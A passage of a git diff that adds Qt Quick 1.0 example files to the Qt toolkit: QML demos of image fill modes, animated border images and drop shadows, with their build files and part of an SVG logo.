+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import QtQuick 1.0
+
+Item {
+ property alias mode: image.fillMode
+ property alias caption: captionItem.text
+
+ width: parent.cellWidth; height: parent.cellHeight
+
+ Image {
+ id: image
+ width: parent.width; height: parent.height - captionItem.height
+ source: "qt-logo.png"
+ clip: true // only makes a difference if mode is PreserveAspectCrop
+ smooth: true
+ }
+
+ Text {
+ id: captionItem
+ anchors.horizontalCenter: parent.horizontalCenter; anchors.bottom: parent.bottom
+ }
+}
diff --git a/examples/declarative/imageelements/image/qml/image/image.qml b/examples/declarative/imageelements/image/qml/image/image.qml
new file mode 100644
index 00000000..73b8849a
--- /dev/null
+++ b/examples/declarative/imageelements/image/qml/image/image.qml
@@ -0,0 +1,66 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ width: 490
+ height: 285
+
+ Grid {
+ property int cellWidth: (width - (spacing * (columns - 1))) / columns
+ property int cellHeight: (height - (spacing * (rows - 1))) / rows
+
+ anchors.fill: parent
+ anchors.margins: 30
+
+ columns: 3
+ rows: 2
+ spacing: 30
+
+ ImageCell { mode: Image.Stretch; caption: "Stretch" }
+ ImageCell { mode: Image.PreserveAspectFit; caption: "PreserveAspectFit" }
+ ImageCell { mode: Image.PreserveAspectCrop; caption: "PreserveAspectCrop" }
+
+ ImageCell { mode: Image.Tile; caption: "Tile" }
+ ImageCell { mode: Image.TileHorizontally; caption: "TileHorizontally" }
+ ImageCell { mode: Image.TileVertically; caption: "TileVertically" }
+ }
+}
diff --git a/examples/declarative/imageelements/image/qml/image/qt-logo.png b/examples/declarative/imageelements/image/qml/image/qt-logo.png
new file mode 100644
index 00000000..14ddf2a0
--- /dev/null
+++ b/examples/declarative/imageelements/image/qml/image/qt-logo.png
Binary files differ
diff --git a/examples/declarative/imageelements/imageelements.pro b/examples/declarative/imageelements/imageelements.pro
new file mode 100644
index 00000000..8aa99203
--- /dev/null
+++ b/examples/declarative/imageelements/imageelements.pro
@@ -0,0 +1,6 @@
+TEMPLATE = subdirs
+
+SUBDIRS += \
+ borderimage \
+ image \
+ shadows
diff --git a/examples/declarative/imageelements/shadows/main.cpp b/examples/declarative/imageelements/shadows/main.cpp
new file mode 100644
index 00000000..f910e3d2
--- /dev/null
+++ b/examples/declarative/imageelements/shadows/main.cpp
@@ -0,0 +1,54 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtCore module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QtGui/QApplication>
+#include "qmlapplicationviewer.h"
+
+int main(int argc, char *argv[])
+{
+ QApplication app(argc, argv);
+
+ QmlApplicationViewer viewer;
+ viewer.setOrientation(QmlApplicationViewer::ScreenOrientationLockLandscape);
+ viewer.setMainQmlFile(QLatin1String("qml/shadows/shadows.qml"));
+ viewer.showExpanded();
+
+ return app.exec();
+}
diff --git a/examples/declarative/imageelements/shadows/qml/shadows/borderimage.qml b/examples/declarative/imageelements/shadows/qml/shadows/borderimage.qml
new file mode 100644
index 00000000..df6af7cf
--- /dev/null
+++ b/examples/declarative/imageelements/shadows/qml/shadows/borderimage.qml
@@ -0,0 +1,97 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+import "content"
+
+Rectangle {
+ id: page
+ width: 1030; height: 540
+
+ Grid {
+ anchors.centerIn: parent; spacing: 20
+
+ MyBorderImage {
+ minWidth: 120; maxWidth: 240; minHeight: 120; maxHeight: 240
+ source: "content/colors.png"; margin: 30
+ }
+
+ MyBorderImage {
+ minWidth: 120; maxWidth: 240; minHeight: 120; maxHeight: 240
+ source: "content/colors.png"; margin: 30
+ horizontalMode: BorderImage.Repeat; verticalMode: BorderImage.Repeat
+ }
+
+ MyBorderImage {
+ minWidth: 120; maxWidth: 240; minHeight: 120; maxHeight: 240
+ source: "content/colors.png"; margin: 30
+ horizontalMode: BorderImage.Stretch; verticalMode: BorderImage.Repeat
+ }
+
+ MyBorderImage {
+ minWidth: 120; maxWidth: 240; minHeight: 120; maxHeight: 240
+ source: "content/colors.png"; margin: 30
+ horizontalMode: BorderImage.Round; verticalMode: BorderImage.Round
+ }
+
+ MyBorderImage {
+ minWidth: 60; maxWidth: 200; minHeight: 40; maxHeight: 200
+ source: "content/bw.png"; margin: 10
+ }
+
+ MyBorderImage {
+ minWidth: 60; maxWidth: 200; minHeight: 40; maxHeight: 200
+ source: "content/bw.png"; margin: 10
+ horizontalMode: BorderImage.Repeat; verticalMode: BorderImage.Repeat
+ }
+
+ MyBorderImage {
+ minWidth: 60; maxWidth: 200; minHeight: 40; maxHeight: 200
+ source: "content/bw.png"; margin: 10
+ horizontalMode: BorderImage.Stretch; verticalMode: BorderImage.Repeat
+ }
+
+ MyBorderImage {
+ minWidth: 60; maxWidth: 200; minHeight: 40; maxHeight: 200
+ source: "content/bw.png"; margin: 10
+ horizontalMode: BorderImage.Round; verticalMode: BorderImage.Round
+ }
+ }
+}
diff --git a/examples/declarative/imageelements/shadows/qml/shadows/content/MyBorderImage.qml b/examples/declarative/imageelements/shadows/qml/shadows/content/MyBorderImage.qml
new file mode 100644
index 00000000..1454c4e6
--- /dev/null
+++ b/examples/declarative/imageelements/shadows/qml/shadows/content/MyBorderImage.qml
@@ -0,0 +1,90 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Item {
+ id: container
+
+ property alias horizontalMode: image.horizontalTileMode
+ property alias verticalMode: image.verticalTileMode
+ property alias source: image.source
+
+ property int minWidth
+ property int minHeight
+ property int maxWidth
+ property int maxHeight
+ property int margin
+
+ width: 240; height: 240
+
+ BorderImage {
+ id: image; anchors.centerIn: parent
+
+ SequentialAnimation on width {
+ loops: Animation.Infinite
+ NumberAnimation {
+ from: container.minWidth; to: container.maxWidth
+ duration: 2000; easing.type: Easing.InOutQuad
+ }
+ NumberAnimation {
+ from: container.maxWidth; to: container.minWidth
+ duration: 2000; easing.type: Easing.InOutQuad
+ }
+ }
+
+ SequentialAnimation on height {
+ loops: Animation.Infinite
+ NumberAnimation {
+ from: container.minHeight; to: container.maxHeight
+ duration: 2000; easing.type: Easing.InOutQuad
+ }
+ NumberAnimation {
+ from: container.maxHeight; to: container.minHeight
+ duration: 2000; easing.type: Easing.InOutQuad
+ }
+ }
+
+ border.top: container.margin
+ border.left: container.margin
+ border.bottom: container.margin
+ border.right: container.margin
+ }
+}
diff --git a/examples/declarative/imageelements/shadows/qml/shadows/content/ShadowRectangle.qml b/examples/declarative/imageelements/shadows/qml/shadows/content/ShadowRectangle.qml
new file mode 100644
index 00000000..438f9769
--- /dev/null
+++ b/examples/declarative/imageelements/shadows/qml/shadows/content/ShadowRectangle.qml
@@ -0,0 +1,54 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Item {
+ property alias color : rectangle.color
+
+ BorderImage {
+ anchors.fill: rectangle
+ anchors { leftMargin: -6; topMargin: -6; rightMargin: -8; bottomMargin: -8 }
+ border { left: 10; top: 10; right: 10; bottom: 10 }
+ source: "shadow.png"; smooth: true
+ }
+
+ Rectangle { id: rectangle; anchors.fill: parent }
+}
diff --git a/examples/declarative/imageelements/shadows/qml/shadows/content/bw.png b/examples/declarative/imageelements/shadows/qml/shadows/content/bw.png
new file mode 100644
index 00000000..486eaae9
--- /dev/null
+++ b/examples/declarative/imageelements/shadows/qml/shadows/content/bw.png
Binary files differ
diff --git a/examples/declarative/imageelements/shadows/qml/shadows/content/colors-round.sci b/examples/declarative/imageelements/shadows/qml/shadows/content/colors-round.sci
new file mode 100644
index 00000000..506f6f5f
--- /dev/null
+++ b/examples/declarative/imageelements/shadows/qml/shadows/content/colors-round.sci
@@ -0,0 +1,7 @@
+border.left:30
+border.top:30
+border.right:30
+border.bottom:30
+horizontalTileRule:Round
+verticalTileRule:Round
+source:colors.png
diff --git a/examples/declarative/imageelements/shadows/qml/shadows/content/colors-stretch.sci b/examples/declarative/imageelements/shadows/qml/shadows/content/colors-stretch.sci
new file mode 100644
index 00000000..e4989a72
--- /dev/null
+++ b/examples/declarative/imageelements/shadows/qml/shadows/content/colors-stretch.sci
@@ -0,0 +1,5 @@
+border.left:30
+border.top:30
+border.right:30
+border.bottom:30
+source:colors.png
diff --git a/examples/declarative/imageelements/shadows/qml/shadows/content/colors.png b/examples/declarative/imageelements/shadows/qml/shadows/content/colors.png
new file mode 100644
index 00000000..dfb62f3d
--- /dev/null
+++ b/examples/declarative/imageelements/shadows/qml/shadows/content/colors.png
Binary files differ
diff --git a/examples/declarative/imageelements/shadows/qml/shadows/content/shadow.png b/examples/declarative/imageelements/shadows/qml/shadows/content/shadow.png
new file mode 100644
index 00000000..431af854
--- /dev/null
+++ b/examples/declarative/imageelements/shadows/qml/shadows/content/shadow.png
Binary files differ
diff --git a/examples/declarative/imageelements/shadows/qml/shadows/shadows.qml b/examples/declarative/imageelements/shadows/qml/shadows/shadows.qml
new file mode 100644
index 00000000..64232d54
--- /dev/null
+++ b/examples/declarative/imageelements/shadows/qml/shadows/shadows.qml
@@ -0,0 +1,64 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+import "content"
+
+Rectangle {
+ id: window
+
+ width: 480; height: 320
+ color: "gray"
+
+ ShadowRectangle {
+ anchors.centerIn: parent; width: 250; height: 250
+ color: "lightsteelblue"
+ }
+
+ ShadowRectangle {
+ anchors.centerIn: parent; width: 200; height: 200
+ color: "steelblue"
+ }
+
+ ShadowRectangle {
+ anchors.centerIn: parent; width: 150; height: 150
+ color: "thistle"
+ }
+}
diff --git a/examples/declarative/imageelements/shadows/shadows.png b/examples/declarative/imageelements/shadows/shadows.png
new file mode 100644
index 00000000..707d5c4e
--- /dev/null
+++ b/examples/declarative/imageelements/shadows/shadows.png
Binary files differ
diff --git a/examples/declarative/imageelements/shadows/shadows.pro b/examples/declarative/imageelements/shadows/shadows.pro
new file mode 100644
index 00000000..bba8c244
--- /dev/null
+++ b/examples/declarative/imageelements/shadows/shadows.pro
@@ -0,0 +1,41 @@
+# Add more folders to ship with the application, here
+folder_01.source = qml/shadows
+folder_01.target = qml
+DEPLOYMENTFOLDERS = folder_01
+
+# Additional import path used to resolve QML modules in Creator's code model
+QML_IMPORT_PATH =
+
+# Avoid auto screen rotation
+DEFINES += ORIENTATIONLOCK
+
+# Needs to be defined for Symbian
+#DEFINES += NETWORKACCESS
+
+symbian:TARGET.UID3 = 0xE2C00C58
+
+# Smart Installer package's UID
+# This UID is from the protected range
+# and therefore the package will fail to install if self-signed
+# By default qmake uses the unprotected range value if unprotected UID is defined for the application
+# and 0x2002CCCF value if protected UID is given to the application
+#symbian:DEPLOYMENT.installer_header = 0x2002CCCF
+
+# Define QMLJSDEBUGGER to allow debugging of QML in debug builds
+# (This might significantly increase build time)
+# DEFINES += QMLJSDEBUGGER
+
+# If your application uses the Qt Mobility libraries, uncomment
+# the following lines and add the respective components to the
+# MOBILITY variable.
+# CONFIG += mobility
+# MOBILITY +=
+
+# The .cpp file which was generated for your project. Feel free to hack it.
+SOURCES += main.cpp
+
+# Please do not modify the following two lines. Required for deployment.
+desktopInstallPrefix=$$[QT_INSTALL_EXAMPLES]/declarative/imageelements/shadows
+exists(qmlapplicationviewer/qmlapplicationviewer.pri):include(qmlapplicationviewer/qmlapplicationviewer.pri)
+else:include(../../../helper/qmlapplicationviewer/qmlapplicationviewer.pri)
+qtcAddDeployment()
diff --git a/examples/declarative/imageelements/shadows/shadows.qmlproject b/examples/declarative/imageelements/shadows/shadows.qmlproject
new file mode 100644
index 00000000..4cdbfff1
--- /dev/null
+++ b/examples/declarative/imageelements/shadows/shadows.qmlproject
@@ -0,0 +1,16 @@
+import QmlProject 1.0
+
+Project {
+ /* Include .qml, .js, and image files from current directory and subdirectories */
+ QmlFiles {
+ directory: "qml/shadows"
+ }
+ JavaScriptFiles {
+ directory: "qml/shadows"
+ }
+ ImageFiles {
+ directory: "qml/shadows"
+ }
+ /* List of plugin directories passed to QML runtime */
+ // importPaths: [ " ../exampleplugin " ]
+}
diff --git a/examples/declarative/imageelements/shadows/shadows.svg b/examples/declarative/imageelements/shadows/shadows.svg
new file mode 100644
index 00000000..566acfad
--- /dev/null
+++ b/examples/declarative/imageelements/shadows/shadows.svg
@@ -0,0 +1,93 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<svg
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:cc="http://creativecommons.org/ns#"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ height="44px"
+ version="1.1"
+ viewBox="0 0 44 44"
+ width="44px"
+ x="0px"
+ y="0px"
+ id="svg2"
+ inkscape:version="0.47 r22583"
+ sodipodi:docname="qt.svg">
+ <metadata
+ id="metadata18">
+ <rdf:RDF>
+ <cc:Work
+ rdf:about="">
+ <dc:format>image/svg+xml</dc:format>
+ <dc:type
+ rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+ </cc:Work>
+ </rdf:RDF>
+ </metadata>
+ <defs
+ id="defs16">
+ <inkscape:perspective
+ sodipodi:type="inkscape:persp3d"
+ inkscape:vp_x="0 : 22 : 1"
+ inkscape:vp_y="0 : 1000 : 0"
+ inkscape:vp_z="44 : 22 : 1"
+ inkscape:persp3d-origin="22 : 14.666667 : 1"
+ id="perspective2836" />
+ </defs>
+ <sodipodi:namedview
+ pagecolor="#ffffff"
+ bordercolor="#666666"
+ borderopacity="1"
+ objecttolerance="10"
+ gridtolerance="10"
+ guidetolerance="10"
+ inkscape:pageopacity="0"
+ inkscape:pageshadow="2"
+ inkscape:window-width="1920"
+ inkscape:window-height="1020"
+ id="namedview14"
+ showgrid="false"
+ inkscape:zoom="21.454545"
+ inkscape:cx="49.412871"
+ inkscape:cy="21.894358"
+ inkscape:window-x="-4"
+ inkscape:window-y="-4"
+ inkscape:window-maximized="1"
+ inkscape:current-layer="g3" />
+ <g
+ transform="matrix(0.18308778,0,0,0.18308778,6.6100946,3.2385199)"
+ id="g3">
+ <path
+ d="M 43.09,0.3586 C 40.94,0.0036 38.84,-0.0824 36.81,0.0776 31.968136,0.39505671 27.122677,0.73638425 22.28,1.0696 9.62,2.0816 0,12.4996 0,26.8896 l 0,169.7 14.19,13.2 28.87,-209.42 0.03,-0.011 z"
+ style="fill:#006225"
+ id="path5"
+ sodipodi:nodetypes="cccccccc" />
+ <path
+ d="m 174.4,160 c 0,12.5 -7.75,24.07 -17.57,25.77 L 14.23,209.73 V 25.93 C 14.23,9.21 27.57,-2.27 43.12,0.3 l 131.3,21.52 v 138.2 z"
+ style="fill:#80c342"
+ id="path7" />
+ <path
+ d="m 154.9,80.96 -12.96,-0.598 0,0.278 6.945,0.32 6.016,0 z"
+ style="fill:#006225"
+ id="path11" />
+ <path
+ d="m 144.6,135.6 c 0.66,0.328 1.43,0.476 2.351,0.476 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 h -6.015 c -1.821,0.832 -3.532,1.457 -5.176,1.848 z"
+ style="fill:#006225"
+ id="path13" />
+ <path
+ id="path17"
+ style="fill:#ffffff"
+ d="m 91.15,132.4 c 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -4.34,0 -7.68,2.535 -10.01,7.625 -2.52,5.543 -3.793,17.04 -3.793,34.44 0,16.82 1.238,28.75 3.734,35.75 2.356,6.672 5.879,9.976 10.5,9.976 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 m 17.98,3.75 c -4.117,9.707 -10.39,16.06 -18.99,19 0.867,4.449 2.176,7.441 3.922,9.019 1.351,1.211 3.433,1.821 6.222,1.821 0.805,0 1.668,-0.055 2.59,-0.157 v 13.12 l -5.961,0.782 c -1.758,0.23 -3.426,0.343 -5.004,0.343 -5.218,0 -9.445,-1.265 -12.62,-3.824 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 1.629,0 3.309,0.102 5.043,0.305 11.95,1.375 20.62,7.016 26.26,16.79 5.535,9.562 8.254,23.27 8.254,41.26 0,16.48 -2,29.45 -6.043,39.02 z M 130.4,45.91 l 11.52,1.238 0,20.21 12.96,0.914 0,12.68 -12.96,-0.598 0,46.33 c 0,4.032 0.445,6.625 1.34,7.789 0.8,1.067 2.046,1.594 3.71,1.594 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 v 11.65 c -5.136,2.258 -10.18,3.598 -15.12,4.02 -0.718,0.055 -1.41,0.086 -2.078,0.086 -4.48,0 -7.906,-1.301 -10.25,-3.934 -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.535 L 118.046,79.25 V 65.66 l 7.586,0.547 4.773,-20.3 z" />
+ <path
